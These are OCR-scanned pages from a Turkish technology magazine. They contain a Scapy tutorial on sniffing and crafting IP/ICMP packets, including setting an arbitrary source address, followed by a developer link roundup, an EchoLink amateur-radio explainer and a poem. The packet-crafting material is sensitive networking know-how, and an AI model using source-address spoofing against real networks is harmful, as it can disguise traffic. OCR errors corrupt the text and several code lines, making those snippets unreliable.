Bu komut ardindan Scapy sisteme kurulmus olacaktir. Simdi
calistirmay1 deneyelim:

scapy
Ciktilara dikkat ettiyseniz, aralarda bir¢ok uyar1 vererek aci-
liyor. Peki bu uyarilar bizim i¢in ¢ok 6énemli mi? Bu sorunun
cevab1 yapacaginiz uygulamalara bagl olsa da ipython veya
cryptography gibi modiillerin bile olmamasi sorun yasama ih-
timalimizi artirtyor. Bu yiizden, olabildigince bu tiir bagim-
liliklar1 da kurarak ilerlemeye ¢alisacagiz. Simdi ¢ikmak igin
exit() yazalim veya CTRL+D’yi kullanalim. Ardindan pip kul-
lanarak eksik paketleri kuralim:

pip install matplotlib pyx cryptography

ipython

Kurulum tamamlandiktan sonra tekrardan scapy yazarak ca-
listirmay1 denersek, bu sefer de fexlive or ... gibi bir uyariy1
ciktilarda gorebiliriz. Hazir elimiz degmisken onu da yiikleye-
lim. Texlive kurulumunu apt ile yapacagiz:

sudo apt install texlive

Not: Tabii ki bu komutu yazmadan 6nce Scapyden ¢ikmamiz
gerekiyor.

Bu kadar ugrastiktan sonra artik Scapynin keyfini siirmek
tizere acalim:

scapy
Scapy ile calisirken o an hangi ayarlarin ¢alistigini dogrula-
mak i¢in, ayrica basit anlamda yaptigimiz kurulumu da test
edebilmek adina conf komutunu kullanabiliriz:

>>> conf

Bu ¢iktida dikkat etmemiz gereken en 6nemli alanlardan biri
iface yazili kisim olacaktir. Kullanmak istedigimiz baglant:
arayiizii segili degilse bunu diizenlemek faydali olacaktir. Or-
negin, biz ethernet kart1 tizerinden ¢aligmak isterken bu ki-
simda kablosuz internet baglantimiza ait araytizi gériiyorsak
diizenlemek igin:

>>> conf.iface = “enp0s3”

Bu komutta yazan enp0s3 aslinda interface (arayiiz) ismi ol-
dugu igin sizin sisteminize ve amaciniza uygun olarak dii-
zenlemeniz faydali olacaktir (6rnegin sizin sisteminizde eth0,
wlan0 gibi degerler olabilir).

Bu kadar ayar yapmisken bir paket dinlemeye ¢aligalim. Din-
leme islemi pek ¢ok kez sniffing olarak da anildig icin bu is-
lemi Scapy tizerinde yapan fonksiyonun adi sniff olarak geger.
Simdi isi basit tutarak 1 tane paket dinlemeye ¢alisalim:

>>> sniff (1)

Eger komutu yazip caligirmak isterseniz “Operation not
permitted” tarzinda bir hata mesaj1 ile karsilasmaniz gerekir
(¢ogu zaman oOnerilmese de root kullanicisi olarak ¢aligtyorsa-
niz bu hatay1 almamaniz beklenir). Bu sorunu da ¢6zebilmek
i¢in yonetici yetkilerine sahip bir kullanici ile Scapy’yi agmak
gerekiyor. Hemen yazdigimiz komutun basina sudo koyup de-
nemeden Once, bu paketin sistem genelinde degil, workshop
dizini igerisindeki virtual environment iizerine kurulu oldu-
gunu hatirlayalim ve bu ortamu root kullanicisiyla agmak iste-
yelim. Scapyden ¢ikarak kurulumu kolaylastirmasi icin hazir-
lanmis komutlari calistiralim:

sudo su -
cd /home/S$USER/workshop/
source venv/bin/activate

scapy
>>> sniff (1)




[lk satirda root kullanicisina gegis yapiliyor, ikinci satirdaki
$USER yerine yine kendi kullanici adimizi kullanabilirsiniz.
Sonraki satirlarda ise su ana kadar baktigimiz ifadelerin ufak
bir 6rnegi var. En son satirda ise sniffile 1 adet paket yakalamak
istedigimizi soylityor ve dinlemeye birakiyoruz. Eger aktif bir
network trafiginiz varsa bu satir o kadar hizli ¢aligir ki zaman
aldigini bile fark etmek zor olabilir. Ag trafiginiz durgunsa, bir
paket gidene kadar program bu satirda bekleyecektir.

sniff() fonksiyonu ¢alisirken eger bir sanal makinede Ubuntu
kullaniyorsaniz ve ag trafiginizde gelen-giden bir paket yoksa,
yeni bir terminal agip bir IP adresine ping atmay1 deneyebi-
lirsiniz. ilk ping istegi gittiginde burada goziikecektir. Suna
benzer bir ¢ikt1 almalisiniz:

<Sniffed: TCP:0 UDP:0 ICMP:1 Other:0>

Ag izleme sirasinda isterseniz BPF filtreleri de uygulayabi-
lirsiniz. Bunlar tcpdump komutundakilerle benzer olacaktir.

Mesela:
>>> sniff (1, filter="tcp port 80”)

Paketleri aldiktan sonra incelemek i¢in bir degiskene atamak
isteyebilirsiniz:

>>> pkt = sniff (1)
>>> pkt
<Sniffed: TCP:0 UDP:0 ICMP:1 Other:0>

Snift ile birden fazla paket yakalamak i¢in igerisindeki 1 sayis1
yerine kag paket yakalamak istedigimizi yazabiliriz. Biraz oy-
nayalim:

>>> pkt[0] # Details of the first packet in

sniffed packet list

>>> pkt[0]/”HELLO” # Add “HELLO” as payload

[lk satirda, pkt yapist iindeki ilk paket hakkinda ozet bilgi
altyoruz. Ikinci satirda ise “HELLO” harflerini pakete igerik
olarak ekliyoruz.

Paketleri PCAP formatinda dosyalara kaydedip daha sonra
hem Scapy hem de Wireshark gibi programlarla acabilmemiz
miimkiin.

wrpcap (“filename”, variable name)

variable name =
sniff (offline=“filename”)
file

rdpcap (“ilename”)
# Directly save to a

Ornekteki wrpcap aslinda write pcap, rdpcap de read pcap
olarak kullanilir. Son satirda yazdigimiz fonksiyon ise bir de-
giskene kaydetmeden, dogrudan ismini verdigimiz dosyaya
kaydedecektir.

Stfirdan IP paketi tiretmek icin IP() sinifini kullanabiliriz.
Daha o6nceki ornekte “HELLO” harflerini bir pakete igerik
olarak ekledigimiz gibi, network katmanlarini da bu sekilde
birlestirebiliyoruz:
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>>> TP ()

>>> IP(dst=“IP.AD.RE.SI”)
>>> pkt = IP(dst="IP.AD.RE.SI”)/ICMP () #
Ping packet

[lk satirda bos bir IP paketi olusturmayz, ikinci satirda hedef
IP adresini nasil verecegimize baktik ancak yine bir degiskene
atamadik veya devamini getirmedik. Son satirda ise kurdugu-
muz yap1 hedef adresini belirledikten sonra bir ICMP paketi
tiretiyor. Varsayilanda genelde ping olarak da telaffuz edilen
ICMP echo request tiiriinde bir paket iiretiliyor. Bu paketi ger-
¢ek aga gondermek istersek:

>>> send (pkt)

Dememiz yeterli olacaktir. Ayarlamamiz gereken birkag alan
daha oldugu i¢in paket aga gergekten birakilsa da muhtemelen
hedefine ulasmayacaktir.

Paketin her tarafini elle olusturabiliyorken kaynak IP adresini
de belirleyebiliyoruz. Mesela 172.17.0.2 adresinden 172.17.0.3
adresine giden bir ping paketi gondermek istersek;

>>> send (IP(src="172.17.0.2",

dst=7172.17.0.3")/ICMP()/”hello”,

iface="enp0s3”)
Kaynak IP’sini belirleyebilmek hem birden fazla IP adresine
sahip oldugumuz durumlarda istedigimizi kullanma imkéani
saglar hem de ag yonetiminde bazi testler yapilirken kullanila-
bilir. Bu komutun ne yaptigini izleyebilmek i¢in tcpdump -vv
yazarak, akan paketleri ayr1 bir terminalden izleyebilir veya
Wireshark gibi bir uygulamayla takip edebilirsiniz. Ayni za-
manda IP paketlerine bir de TTL degeri vererek network iize-
rinde kag atlamaya kadar izin verdigimizi belirleyebiliriz:

>>> send (IP(src="172.17.0.2",

dst=%172.17.0.3”, TTL=10)/

ICMP (type=13) /”hello”, iface=“enp0s3”)
Bu o6rnekte ICMP tiirii olarak 13’ belirledik. Bu tiirle daha
once karsilasmadiysaniz ne yaptigindan da ¢ok kisa bir sekil-
de bahsedelim; network tizerinden karsi sunucuya timestamp
(zaman damgasi) sormaya yariyor.

[k kismi sonlandirmadan once, istek génderip geriye nasil
cevap alabilecegimizden bahsedelim. Send-Receive, yani gon-
dermek ve almak fiillerinin bag harflerini kullanarak, bir pa-
keti gonderip gelecek cevabi veya cevaplar1 bekleyebiliyoruz.
Hemen bir 6rnek iizerinden goérelim:
>>> pkt = IP(dst="172.17.0.2",
ICMP (type=8)

>>> sr (pkt)
responses,

ttl=10)/

# Sends and receives the
Layer 3
Son yazdigimiz satir OSI modelinde 3. katmanda paket ve ce-
vaplariyla ilgilenir. Ornek bir ¢iktist sdyle olabilir:
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>>> sr (pkt)
Begin emission:
*Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>,
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

Bu ¢iktida gonderilen paketleri, gelen cevaplar1 ve cevapsiz kalan paketleri detaylica gorebiliriz. Yukaridaki ¢ikti cevap gelmis
bir ping (ICMP echo request) mesajina denk gelmektedir.

Bu 6rnekteki gibi eger sadece bir cevap bekliyorsak sr1 fonksiyonu ¢ok daha sade bir ¢ikt: verir. Bu fonksiyonun ismindeki 1
say1s1 sadece bir tane cevap bekledigimizi ifade eder. Kullanim 6rnegi ve 6rnek ¢iktisi:

>>> srl (pkt) # Returns one answer, Layer 3

Begin emission:
*Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets

<IP wversion=4 ihl=5 tos=0x0 len=28 i1d=15563 flags= frag=0 ttl=64 proto=icmp chksum=0xe5f0

src=172.17.0.2 dst=172.17.0.1 options=[] |<ICMP type=echo-reply code=0 chksum=0xffff

1d=0x0 seqg=0x0 |>>
Sonraki sayida OSI modelinde 2. Katmanda paket tiretmeyi, paketlerin detaylarini farkli ayrinti seviyelerinde goriintiilemeyi ve
daha anlagilir sekilde paketleri incelemeyi, 3 yonlii el sikigmayla baslayan TCP baglantilarinin Scapy ile nasil yapilacagini, port
tarama uygulamasinin Scapy ile hizli pratik bir sekilde nasil gelistirilecegini, alinan cevaplarin filtrelenmesini, sadece istenen
flag’leri ayarlanmig paketlerin nasil olusturulabilecegini, cevaplara zaman agimi ve otomatik tekrar deneme limiti koyulmasini,
DNS isteginin nasil olusturulacagini ve Scapy’nin i¢inde hazirda gelen, siber giivenlikle alakali baz1 basit ataklar: gerceklestire-
bilen birka¢ fonksiyona deginecegiz. Ayrica Scapy ile ugrasmak isteyenler i¢in kaynak énerilerinde bulunacagz.

Bu yazidaki 6rnekler hakkinda daha fazlasina erigmek i¢in Scapy’nin dokiimantasyonuna https://scapy.readthedocs.io/en/la-
test/ adresinden bakabilirsiniz.
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erhaba. Bendeniz Muhammed Hilmi Koca. Yaklagik
M 7 yildir yazilimcr olarak calistyorum. Son 6 aydir da
“Yazilimcilar I¢in Hafta Sonu Okumalar” baghikl
haftalik bir e-biilten yayimliyorum. Kiymetli editoriimiiz Zi-

yahan Albeniz’in sundugu teklif/firsat ile benzer bir derlemeyi
istifadenize sunuyorum.

Simdiye kadar pek ¢ok blog yazis1 yazdim ama ilk kez bir der-
giye igerik tiretiyorum. Benim géziimde dergi yazilar1 ayr1 bir
seviye. Umarim dergiyi sulandirmadan, yeterli seviyeyi tuttu-
rabilirim. Faydali olmasi iimidiyle. Buyurun:

Sanal Asistanlarin Mesuliyeti
Bizim diinyay1 kurtardigimiz esnada diin-
yanin bagka yerlerinde insanlar yine 6nem- u Hﬁ u
siz(!) seylerle ugrasiyorlar. Ideaportta ya- -
yimlanan bir ¢eviride sanal asistanlarin,
sigara icmenin zarari ve kadina siddet gibi [ pg
konular ile ilgili sorularda ne cevap verdik-
leri, ne cevap vermesi gerektigi, bu tip ko-
nularda kesin dogru cevaplar vermesinin bir yiikiimliliik olup
olmadig1 veya kimin igin yitkiimliliik oldugu gibi konular ir-
delenmis.

Baglantr: https://www.ideaport.org.tr/sesli-asistanlar.php -
https://bit.ly/22ZFCb5

Terminal Kullanimi

Komut satirmi ortalama bir yazilimciya
gore az kullandigimi soyleyebilirim. Kétii
bir Windows aliskanlig1 olarak genelde is-
lerimi GUI tizerinden hallediyorum. Tarik
Giiney, tam olarak bana hitap eden bir yazi
yazmis: Neden komut satirini 6grenmek la-
zim? Ben sahsen kullanim oranimi artirma-
ya calisiyordum ama simdi bu siireci daha da hizlandirmay1
distintiyorum.

Baglant1: https://bit.ly/2PAtTEX

Muhammed Hilmi Koca - mhkoca60@gmail.com
Yazilimeilar igin

Listesl

Load Balancer Sagligi

Uygulama sunucularinin  oniindeki ytk
dengeleyicilerin (load balancer) temel kul- u
lanim amaglari arasinda, yiik dagitimi yapa- «
rak performans saglamanin yani sira cevap
vermeyen sunucu olursa istekleri diger su-
nuculara yonlendirerek sistemin yiiksek eri-
silebilirligini (high availibility) saglamasi da
bulunuyor. Peki yitk dengeleyicisi cevap veremezse ne olacak?
Eger olasi durumlarda makineyi tolere edebilecek bir yedegini
almadiysaniz ge¢mis olsun. Nur topu gibi bir “Single Point of
Failure” sahibi oldunuz. Bu senaryo i¢in uygulanabilecek ¢6-
ziim yontemlerini Gokhan Sengiin‘iin asagida baglantis veri-
len yazisindan okuyabilirsiniz.

Baglant: https://bit.ly/2RY 1niv

Otonom Araclarin Gelecegi

Insansiz araglar yayginlagiyor. Dogal olarak
savag sanayisi de bu gelismelerden -her tek-
nolojik gelismede oldugu gibi- fazlasiyla na-
sibini alryor. Amerikan Savunma Bakanligi,
insansiz sistemlerin entegrasyonu ile alakali
bir yol haritasi yayimlamis. Kadir Dogan da
bu raporu Tiirkce olarak 6zetlemis.

Baglant1: https://bit.ly/2zS7ixi

Dagitik Web’e Dogru

Gegtigimiz sayilarda Web’in babasi Tim
Berners-Lee'nin dagitik web i¢in baslattig
girisimden bahsetmistim. Ismail H. Polat -
Hoca, gectigimiz hafta bu girisimi analiz
etmis. [

Baglant1: https://bit.ly/2QMoglx
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Blok Zinciri ve Olceklenme Problemi
Blok zinciri teknoloji hayatimiza bir E
H

anda dahil olan ve ¢ok hizli bir sekilde H

hype seviyesine ulasan bir teknoloji. Mi- |
ladin1 Bitcoin sayarsak 10 yillik bir siire EE
icerisinde tim sorunlarini beklemek

zaten gergek¢i olmaz. Hakan Yalcinsoy, |l
bu teknolojinin temel problemlerinden
olgeklenme problemi hakkinda oldukca detayl ve giizel bir
makale yazmis. Giriste mevcut yontem ve algoritmalarla gayr1
merkeziliginin korunmasi, giivenlik ve 6lgeklenme maddele-
rinden ayni anda ancak ikisinin saglanabilecegini ifade ediyor

ve kullanilan 6lgeklenme senaryolari tizerinden bu 3 kriterin
saglanip saglanmadigini inceliyor.

Baglant1: https://bit.ly/2Pzu9E5
Kripto Para 2.0

Basta Bitcoin olmak iizere kripto paralar,
kendilerinden beklenen devrimi heniiz
gergeklestiremedi. Ama bu durum, yikici
etkisinin hi¢ gelmeyecegi anlamina gel-
miyor. Bu etkinin ayak sesleri [smail H.
Polata gore IMF tarafindan duyulmaya
baglandi. IMF bagkaninin kripto paralar
hakkindaki 6ngoriisti veya tavsiyesine yonelik detaylar asagi-
da baglantisi bulunan yazisinda.

Baglantt: https://bit.ly/2CanxZy

Blockchain Her Yerde

CBlInsights, sadakat ve 6diil programlar1 konusunda 6ne ¢ikan
55 girisimi degerlendirdigi bir rapor hazirlanmis. Bu girisim-
lerden 6 tanesi Blockchain tabanliymis. Enes Tiirk, bu girisim-
leri incelemis.

Altug Oztiirk, Blockchain’in bankacilik ve finans sistemine

uygulanmasi ile ilgili bir akademik makaleden yola ¢ikarak,
futbolda bu teknolojinin nasil uygulanacagina kafa yormus.

Blockchain uygulamalar1 hakkinda yayimlanan bir diger yazi
ise Turan Sert‘in Cevrede Blockchain konusundaki devam ya-

Z181.
]

e
S

Baglantilar: https://bit.ly/2Ek8Kg5

https://bit.ly/2R2QoEc

https://bit.ly/2BkjwQG E}H E
DevCon4

Gegtigimiz aylarda, topluluk katkisiyla Pragdaki DevCon4 et-
kinligine 4 6grenci gonderilmisti. Etkinlikten ilk meyveler gel-
meye bagladi. Ayse Ceyda Olmez, gordiiklerine, yasadiklarina
dair ilk yazisini yayimlamus.

Etkinlige katilan bir diger 6grenci Deniz Ozgiir de kripto eko-
nominin gelecegiyle ilgili bir yazi yayimlamus.
I’i':! n

Baglantilar: ™
https://bit.ly/2Cc5MsR

https://bit.ly/2QRXxdo

https://bit.ly/2GdTp3p

Kamuda Gercek Bir Acik Kaynak Donlisimii

Gegtigimiz aylarda Pardus tartigmalarinin tekrar alevlendigi
(elbette saman alevi) donemde Pendik Belediyesinin Pardus
kullandigina dair bir bilgi duymustum. Kahramanmaras'taki
harikuldde dontisiimden dolay1 ¢ok da tizerinde durmamus-
tim. Ama bu hafta okudugum miithis bir yazi beni hem heye-
canlandirdi hem de mutlu etti. Belediyeyi gercekten tamamiy-
la Pardus ve agik kaynaga doniistiirme caligmalarina baslamis
ve biiyiik bir ilerleme kaydetmisler. Ilk etapta yazilim ekiple-
rini saglam bir egitim siirecinden gegirmisler. Akabinde gii-
zel bir analiz ve planlama yapmiglar. Hemen G6g, Kolay Gég,
Orta G6g, Zor Gog seklinde fazlara ayirmiglar ve tek tek han-
gi uygulamay hangi uygulamayla degistirebiliriz ve belediye
genelinde nasil yayginlagtirabiliriz bi¢iminde planlamiglar.




Dahast biitiin bu siireci Ustiin Murat Yildiz‘in yazdigi bu yazi
araciligiyla detaylica anlatmiglar. Mesela hangi agik kaynak
uygulama hangi gerekgelerle secildi, gecis asamalar1 nelerdi ve
nasil sorunlar yasandi, ¢6ztimler gelistirildi.

Vakit kaybetmeden okuyun. Siz de sevi-
nin, heyecanlanin!

https://bit.ly/2PArkmc

CIA Pesimde mi

Cem Yilmaz'in kliseleri alay ederek yikmak gibi bir ¢abasi
var. Lakin iyi niyetli olsa da bu ¢abanin yan etkileri yok de-
¢il. Misal “CIA bu hesaplara bakiyormus” muhabbeti sonrasi
veri paylagiminin fazla kiigiimsenmesi gibi. Ger¢i bundan da
once “saklayacak bir seyim yok” muhabbeti vardi. Ama her
kosede verimizin pazarlandigi, satildig1 ve bunlarin sonucu
olarak gozlerimizin 6niine miithis bir alg1 ¢calismasiyla farkly,
“kisisellestirilmis” diinyalar getirildigi bir donemde yasiyoruz.
Ne demis sair:

Veri alirlar veri satarlar
Veriden terazi tutarlar
Veriyi veri ile tartarlar
Carst pazar veridir veri

Neyse daha fazla konuyu sulandirmadan
sadede geleyim. Dergimizin de editorii
olan Ziyahan ALBENiZ, saklayacak bir
seyimizin olup olmadigini irdelemis.

https://bit.ly/2Bfe7dC
Mihendislikte Asirilik

Her yazilimcinin iginde gizli bir agir1 mii-

hendis (over engineer) vardir. Kimi zaman o

“bakin ben ne patternler biliyorum” de- h-. -
|

mek i¢cin bazen kendi kendimizi “ne giizel
yaptim be!” diye tatmin etmek i¢in bazen
-ve genellikle- de basit diisinmeye kendi-
mizi alistirmadigimiz i¢in miihendislikte,
tasarimda asiriliga kagryoruz. Suat KOSE, kaleme aldi1 giizel
makalede asir1 mithendislik ve yalin diigtinme (lean thinking)
meselelerini irdeliyor.

https://bit.ly/2QNz0X8
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Antipatternler

Burak Selim Senyurt, yillar sonra bir kez
daha Antipatternler demis. Tanim olarak,
¢ogunlukla iyi bir ¢oziim diye uygulanip
uzun vadede basa bela olan yontemler
denilebilir. Yazidaki miithis tespitle: “Bir
Pattern ¢ozdiiglinden daha fazla problem
olusturuyorsa AntiPattern’ dir”

Tiim yazilimcilar i¢in adeta bir bagucu yazisi. Okuyun, okutun,
brosiir olarak bastirip Mecidiyekdyde, Leventte, Maltepede
metro/metrobiis duraklarinda dagitin.

https://bit.ly/2RZUVHp

Zekayi Anlamak

Yapay zeka, adindan anlagilacagi iizere
dogal zekanin yapay1. Dolayisiyla gelisimi
dogal zekay1 anlama seviyemizle yakindan
ilgili. Ama heniiz dogal zekanin muhteva-
sia tamamiyle vakif degiliz. Sarper Alkan,
“Dogaldan Yapaya: Zeka” baglikli bir yazi
dizisine baglamis. Ilk yazisinda da dogal
zekay1 ve 6grenme sekillerini irdeliyor.

https://bit.ly/2QwlrvQ

Yapay Zeka ve Hukuk

Yeni ¢ikan teknolojiler hayatin her alanini
etkiliyor. Bu da dogal olarak disiplinlerarasi
caligmalarin 6nemini artirtyor. Yapay zeka
ve hukuk iligkisi bu kapsamda her gecen
glin daha fazla 6nem kazaniyor. Onur Ak-
¢inar, bu iligkiyi irdeledigi bir yazi dizisine
baglamus.

https://bit.ly/2Ej8uy2

Makine Ogrenmesi de Her Yerde

Gegtigimiz aylarda goriintii tantyan mobil uygulama gelistir-
meyi anlatan C)zgiir Sahin, 2 hafta kadar 6nce 10 dakikada go-
riintii stniflandiran bir mobil uygulama gelistirmeyi anlatmus.
Bununla da kalmamig “iOS gelistiriciler icin makine 6gren-
mesi” baglikli bir seriye baglamis. Magallah deyip, kolayliklar
dileyelim.

Makine 6grenmesi demisken... Dijital Garaj, Benedict Evansin
makine o6grenmesi hakkindaki makalesini ¢evirip, 3 bolim
halinde yayimlamus. (1,2,3)

Yine makine 6grenmesi hakkinda diger bir faydali yazi da Yu-
nus Emre Giindogmus‘tan geldi. Kendisi Linkedin profiline
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gore universite 6grencisi ve bolca yaziyor. Benim bahsedece-  https://bit.ly/2PFopcc
gim yaz1 ise Pythonda makine 6grenmesi modelinin Django
kullanarak web uygulamasi iizerinden yayimlanmasini anla-
tan bir yazi dizisinin ilk yazisi.

Baglantilar:

https://bit.ly/2RY1Px8

Kuantum Bilgisayarlari icin Umut Veren Giri-
simler

Ulkemizde Kuantum Bilgisayarlar konusunda icerik iireten
nadir insanlardan Zeki Seskir, bu konudaki gelismeleri takip
etmeye ve bizlere aktarmaya devam ediyor. Geg¢tigimiz hafta
yayimladigi iki yazida(1, 2) Ekim ay1 sonunda Viyanada agik-
lanan “Kuantum Amiral Gemisi” programinin detaylarindan
ve kisim kisim fonlanacak girisimlerden bahsetmis.

Baglantilar:

https://bit.ly/2ryjx{8

Sl

https://bit.ly/2Ej8Bts

https://bit.ly/2UFXe4x

https://bit.ly/2PBIZLE

Ih:-Ejl

https://bit.ly/2UFws]E
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ECHOLINK:

Telsiz & Internet
Birlikteligi Uzerine

egerli okurlarimiz, besinci sayimizda da sizinle tekrar bulusmanin verdigi mutlulukla saygilarimi sunuyorum. Bu ya-
zimizda RF (radyo frekans) ile birlesimi yillar 6ncesinde gerceklestirilmis altyap: destegi olan EcholinK’in isleyisini

anlatmaya ¢alisacagiz.

ECHOLINK Ne Demek?

Echolink, isminin igerisinde yer aldig1 tizere bir tiir linkleme mantigidir. Burada amag, RF ile olusturulmus belli bir kapsama
alanina sahip bolgesel yapilarin, internet vasitast ile birbirine linklenmesi prensibidir.

Temelinde bélgesel sistemleri istendiginde bir araya getirmek yatmaktadir. Internet destegi ile kullanilan yazilimlar, bu yaprya
ekstra ozellikler de sunmaktadir. Bu mantikla birlikte gelistirilmis olan sistem, Amator Telsiz Operatorlerine 6zel dogrulama ve
kullanici belge ibraz: ile sifre onayi verilerek 6zellestirilmistir. Bir VOIP sistemi ile diinya iizerindeki amator telsiz operatorleri
bir araya gelerek konugsabilmektedir.

ECHOLINK

Station"B"
Station"A" Fm
Tranzoeiver
F il
Transceiver

PiC weth
PC with FchaLink
Softweare

Internetlink
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ECHOLINK Link-Role ve Kullanici Modlari

Tipki APRS sisteminde oldugu gibi ECHOLINK de hobiye 6zel bir yapidir. ECHOLINK sistemlerinde réle, link ve sadece kul-
lanic1 modelleri geklinde opsiyonlar mevcuttur. Bu yapi igerisinde 6zel goriigme de yapilabilmektedir. Bire-bir 6zel ve havadan
bagimsiz goriigme destegi de verebilmekte olan bu sistemi birer birer detaylandiralim.

ECHOLINK Kullanici Modu

Burada yiiklenen yazilim ile ister PC, ister telefon cihaz iizerinde (IOS veya Android) diger tiim modlarda bulunan amatérler
ile goriigme miimkiindiir. Istenilen tilkedeki bir réle veya link iizerine, konferans odalar1 veya kullaniciya baglanti se¢imi yap1-
larak gorisiilebilir.
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== &= &=
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Echolink Echolink
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PCve
Egl:l:inh El:lmlinh_
Programi Programi

KONFERANS ODASI
SERVERI

Resimde bir Konferans Odasi baglanti ornegi gorulmektedir. Cesitli yerlesim
yerlerinde hizmet veren link ve rolelerin hir arada bulunmasiyla ulke ici ve
uluslararasi haberlesmesi mumkun hale gelmektedir.

ECHOLINK Konferans Odalari:

Bu secenek icerisinde de hangi tilkenin hangi sehrinde kurulmus oldugu belirtilen ve igerisinde kullanici ve linklerin veya réle-
lerin toplu halde bulunduklari konferans odalarina baglanilarak ayni anda o anda bagl tiim sistemlerin tizerinden duymayi ve
duyulmayi saglayan yapida goriismeler gerceklestirilebilir.

ECHOLINK Link (-L) Baglantilari:
Bu segenek ve bir sonraki secenek biraz karisik gelebilir, dikkatle okunmasini rica ediyorum. Buraya kadar anlatilan her iki
kullanim sekli de yazilim vasitasi ile PC veya telefon {izerinde idi, burada ise bu baglantinin RF ile birlesmesi s6z konusudur.

Bir PC ile telsiz cihazinin ses giris ve ¢ikiglarinin birbirine baglanmasi ve telsiz cihazini TX (génderme) pozisyonuna gegirebil-
mesi i¢cin USB baglantis1 destegi gerekmektedir. Buradan itibaren bu baglantiya Arabirim adin1 verecegiz.

Arabirim vasttast ile internet tizerinden gelen sesler telsiz cihazini TX pozisyonuna gegirir ve havaya, kapsama alani igerisine
goriismenin aktarilmasi saglanir. Telsiz cihazi Gizerinde de havadan gelen frekans tizerindeki goriigmeleri de ayni sekilde inter-
net tizerindeki yazilimda se¢ilmis olan konferans odasi veya tekil bazdaki link iizerine veya bir réle baglantisina aktarmaktan
ibaret telsiz ve internet ortak kullanimi burada Link olarak anilmaktadir.

Link i¢in en dnemli anlagilmas: gereken husus, ayni frekans {izerinden hem génderme hem alma yapildigidir. Yani kapsama
alani icerisinde bulunan bir telsiz cihazinda, link frekansinda konusma yapildiginda bu gériisme internet agina bagli olan PC
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tarafindan ayni anda aktarilir. Mandali biraktiginizda, internet tizerinden diger kullanicilara yine karsida bulunan baglantilar
tizerinden goriismeniz aktarilir ve cevap veren internet tizeri PCden veya direkt havadan size ulagabilir. Bu esnada bu ag iceri-
sinde olan tiim istasyon-link veya role baglantilar: tizerinde bu goriismeler duyulacaktir.
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ECHOLINK Rdle (-R) Baglantilari:

Role baglantilarini Link baglantilarindan ayiran en 6nemli
ozellik genelde bolgede bulunan ve zaten belli bir alana hitap
eden role sistemlerine diger sehir ve tilkelere ihtiya¢ duyul-
dugunda baglanarak haber alabilmeleri amagli desteklenme-
si prensibidir. Aslen Rélenin kapsama alani, RF yolu ile ayni
iken, ECHOLINK destegi ile 6zellikle gerekli anlarda mesa-
fe sinir1 i¢in HF haberlesmede oldugu gibi gereken sartlarin
olusmasini beklemek yerine internet alternatifi ile her an i¢in
ulagilabilme mantig1 giitmektedir. Saha genislemesi RF ile ge-
rekli donanim ve hava kogullarini mecbur kilarken, alternatif
bir yol olarak sadece internet ile desteklenerek tiim diinya-
ya altyap1 agik oldugu siirece hizlica hazir ortamda goriisme
imkani saglanmis olacaktir.

Role baglantilar1 genelde ECHOLINK aglar1 Gizerinde tekil
olarak bulunurlar. Dogru olan da sahsim tecriibelerine gore
boyle olmalidir. Role gibi belli bir alanda oturmus sistemler
tizerinde dogru ve mantikli yonetimler, gerektigi anlarda ku-
manda ekranina baglanarak Role sistemini gerek duyulan
konferans odasi, link veya diger role sistemlerine baglar ve
bulunan bélgedeki amatdr operatorler igin istenilen bolgeden

bilgi alinmasina ve goriisme yapmasina izin verir. En dogru
kullanim bu olacaktir.

Burada ECHOLINK yazilimi tzerinde miimkiin olan tim
yetkilendirme ve kullanici isimli kontrol sistemleri de oldukg¢a
6nemlidir ve bir¢cok konuda miidahale miimkiindiir. Kullanici
yasaklama, askida kalan kullanici baglantisini kesme, kullanici
sayisi kisitlama, siire kisitlama, DTMF ile uzaktan miidaha-
leler gibi 6zellikleri yillardir destekleyen bu yap1 gliniimiizde
¢ok daha gelistirilerek diger dijital yapilar1 ortaya ¢ikarmustir.

Teknolojik gelismelerin ve yazilimlarin gelistirilmesi ile EC-
HOLINK sistemi {izerinde sadece yetkili tarafindan yapilabi-
len bir¢ok 6zellik, kisisel miidahaleler ile yapilabilir hale geti-
rilmistir. Bu tip sistemlerin de giiniimiizde kullanilmaya yeni
say1labilecek bir siiredir adi gegen DMR-DSTAR-YAESU FU-
SION gibi sistemler oldugunu belirtelim ve onlar1 anlatmak
i¢in bu yazimizdan sonra temel haberlesme altyap: bilgilerini
vermeye baslayacagimiz, frekans-cihaz gesitleri-anten yapilar:
gibi biraz da teknik igeren konular1 6grenmek i¢in hazirlana-
lim isterim. Saygilarimla 73!



- m

R EGITIM KiTAPLIG
|

e Oretmey
e

—

Kod\ama Serﬁven'\:
Sc.ra\:h ve r:Bl.or.k ile




MEMLEKET ISTERIM

Memleket isterim
Gok mavi, dal ye§il, tarla sart olsun;

Kuslarm gigeklerin diyart olsun.

Memleket isterim
Ne ’oagta dert, ne gb'm'ilde hasret olsun;

Kardes kavgasma bir nihayet olsun.

Memleket isterim
Ne zengin fakin ne sen ben farkt olsun;

Kis giinit herkesin evi barkt olsun.
Memleket isterim

Ya§amak, sevmek gibi génﬂ[den olsun;

Olursa bir sikayet olitmden olsun.

Cahit Sitkt TARANCI
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